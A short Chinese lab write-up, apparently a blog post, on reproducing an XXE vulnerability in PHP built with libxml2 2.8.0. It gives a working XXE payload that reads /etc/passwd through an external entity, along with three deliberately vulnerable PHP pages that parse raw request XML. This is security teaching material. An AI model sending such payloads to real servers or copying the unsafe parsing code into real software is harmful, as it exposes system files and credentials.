漏洞简介
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡,这里用libxml2.8.0版本编译进PHP中来复现。
漏洞复现
Simple XXE Payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
环境内有三个页面均可触发XXE漏洞,分别为dom.php
,SimpleXMLElement.php
,simplexml_load_string.php
三个页面源码依次如下:
dom.php
<?php
$data = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($data);
print_r($dom);
SimpleXMLElement.php
<?php
$data = file_get_contents('php://input');
$xml = new SimpleXMLElement($data);
echo $xml->name;
simplexml_load_string.php
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
我觉得许多博主写的XXE文章都非常详细,至少比我要好,这篇文章更侧重于实践,想了解更多高级用法还请自行探索!